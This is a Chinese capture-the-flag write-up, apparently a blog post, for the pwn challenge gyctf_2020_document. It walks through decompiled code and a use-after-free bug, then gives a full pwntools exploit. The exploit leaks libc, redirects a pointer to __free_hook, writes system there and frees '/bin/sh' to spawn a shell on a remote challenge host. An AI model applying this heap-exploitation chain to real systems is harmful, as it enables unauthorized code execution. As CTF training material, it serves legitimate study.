gyctf_2020_document

gyctf_2020_document

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位,保护全开

unsigned __int64 ADD()
{
  int i; // [rsp+Ch] [rbp-24h]
  _QWORD *v2; // [rsp+10h] [rbp-20h]
  char *v3; // [rsp+18h] [rbp-18h]
  __int64 s; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < 7; ++i )
  {
    if ( !BSSPTR[i] )
    {
      v2 = malloc(8uLL);
      v3 = (char *)malloc(0x80uLL);
      if ( !v2 || !v3 )
      {
        puts("Error occured!!!");
        exit(2);
      }
      puts("add success");
      *v2 = v3;
      v2[1] = 1LL;
      puts("input name");
      memset(&s, 0, sizeof(s));
      sub_AA0((char *)&s, 8u);
      *(_QWORD *)v3 = s;
      puts("input sex");
      memset(&s, 0, sizeof(s));
      sub_AA0((char *)&s, 1u);
      puts("here");
      if ( (_BYTE)s == aW[0] )
      {
        *((_QWORD *)v3 + 1) = 1LL;
      }
      else
      {
        puts("there");
        *((_QWORD *)v3 + 1) = 16LL;
      }
      puts("input information");
      sub_AA0(v3 + 16, 112u);
      BSSPTR[i] = v2;
      puts("Success");
      break;
    }
  }
  if ( i == 7 )
    puts("Th3 1ist is fu11");
  return __readfsqword(0x28u) ^ v5;
}

一共申请了两个堆,并且两个堆都无法自定义size

并且一号堆放有二号堆内容的指针

有个readsub_AA0((char *)&s, 8u)

这个的意思就是第二个参数需要8个字符,具体如下

__int64 __fastcall sub_AA0(char *a1, unsigned int a2)
{
  char *v3; // rax
  signed int v4; // [rsp+1Ch] [rbp-14h]
  unsigned int v5; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]

  v4 = 0;
  v5 = 0;
  if ( a2 >= 0x81 )
    return 0LL;
  while ( v4 < (int)a2 )
  {
    v3 = a1++;
    v6 = read(0, v3, 1uLL);
    if ( !v6 )
      exit(0);
    v5 += v6;
    ++v4;
  }
  return v5;
}
unsigned __int64 sub_D86()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( *((_QWORD *)&BSSPTR + v1) )
  {
    sub_B23(**((_QWORD **)&BSSPTR + v1));
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v3;
}

show这里就是通过一号堆存放的指针,然后write出来内容

这里可以用指针泄露libc

unsigned __int64 DELE()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( *((_QWORD *)&BSSPTR + v1) )
  {
    free(**((void ***)&BSSPTR + v1));
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v3;
}

uaf

unsigned __int64 EDIT()
{
  unsigned int v1; // [rsp+8h] [rbp-28h]
  __int64 v2; // [rsp+10h] [rbp-20h]
  _BYTE *v3; // [rsp+18h] [rbp-18h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( BSSPTR[v1] )
  {
    v2 = BSSPTR[v1];
    if ( *(_QWORD *)(v2 + 8) )
    {
      puts("Are you sure change sex?");
      read(0, buf, 8uLL);
      if ( buf[0] == aY[0] )
      {
        puts("3");
        v3 = (_BYTE *)(*(_QWORD *)BSSPTR[v1] + 8LL);
        if ( *v3 == unk_13DE )
        {
          puts(&a124[2]);
          *v3 = 1;
        }
        else
        {
          puts(a124);
          *v3 = 0x10;
        }
      }
      else
      {
        puts(&a124[4]);
      }
      puts("Now change information");
      if ( !(unsigned int)sub_AA0((char *)(*(_QWORD *)BSSPTR[v1] + 16LL), 0x70u) )
        puts("nothing");
      *(_QWORD *)(v2 + 8) = 0LL;
    }
    else
    {
      puts("you can onyly change your letter once.");
    }
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v5;
}

edit这里注意一下

就是他修改内容的时候是sub_AA0((char *)(*(_QWORD *)BSSPTR[v1] + 16LL), 0x70u)

意思就是从内容的0x10开始修改,然后需要填满0x70的内容,这里就是为什么下面有3号堆的存在

思路

因为申请的是0x80大小的chunk,并且write的是chunk1的指针,也存在uaf,所以我们free掉之后

也能直接show出来libc,

然后通过修改free掉的unsortedbin,切割申请的一号堆,修改里面的指针使其指向free_hook

然后修改free_hook–> system 再free掉/bin/sh getshell

from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')   

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",26265,"./pwn",0)

add(b'/bin/sh\x00',b'0',b'c'*0x70)
add(b'/bin/sh\x00',b'1',b'c'*0x70)
dele(0)
show(0)
#add(b'aaaaaaaa',b'b',b'c'*0x70)
leak=get_addr_u64()-88-0x10-libc.sym['__malloc_hook']
free=freehook(leak)
sys=system(leak)
li(leak)

add(b'/bin/sh\x00',b'2',b'c'*0x70)
add(b'yamemres',b'3',b'c'*0x70)
pl=flat(0,0x21,free-0x10,1,0,0x51,b'\x00'*0x40)
#这里为什么要-0x10,因为修改是从0x10之后才能修改,所以抬高0x10就正好修改
edit(0,b'0',pl)
edit(3,b'0',p64(sys)+b'\x00'*0x69)
li(sys)
#debug()
dele(1)

ia()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值